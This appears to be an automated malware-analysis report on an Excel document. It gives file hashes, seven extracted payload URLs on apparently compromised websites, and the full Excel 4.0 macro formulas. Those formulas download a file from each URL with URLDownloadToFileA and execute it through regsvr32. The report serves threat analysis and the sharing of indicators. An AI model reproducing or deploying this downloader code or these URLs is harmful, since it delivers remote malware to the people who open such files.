General
-
Target
e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
-
Size
35KB
-
MD5
870e15e272d83e831a250a83edb29ad8
-
SHA1
716c857e7074a5ee22c67bbd87550625455e352f
-
SHA256
e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387
-
SHA512
e657e6a2a111d69cf324ddc93651a732176ba77168310dbb1328e2a363dd293a3d97da8fac1e666adccef7493404c356f257ea1b7d57228906f50f5d999d551c
-
SSDEEP
768:O0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:O0t+gEUOZZ1ZYpoQ/pMA39
Malware Config
Extracted
https://www.rivabodrumresort.com/eski_site/HozRXt/
https://www.iinil.com/phpmyadmin/oWnF6m7JoN/
https://britainsolicitors.com/wp-admin/OshgKKcJ3I/
https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/
https://britspizzeria.com/cgi-bin/WRo/
https://trainingeighteen.co.zw/wp-content/f1Q3/
https://thiendoan.com/venmo/Mp1r/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
e4796926a7d146f6ecbf4f0c9faaab7f0b221c89954edbf41a34e28a728bc387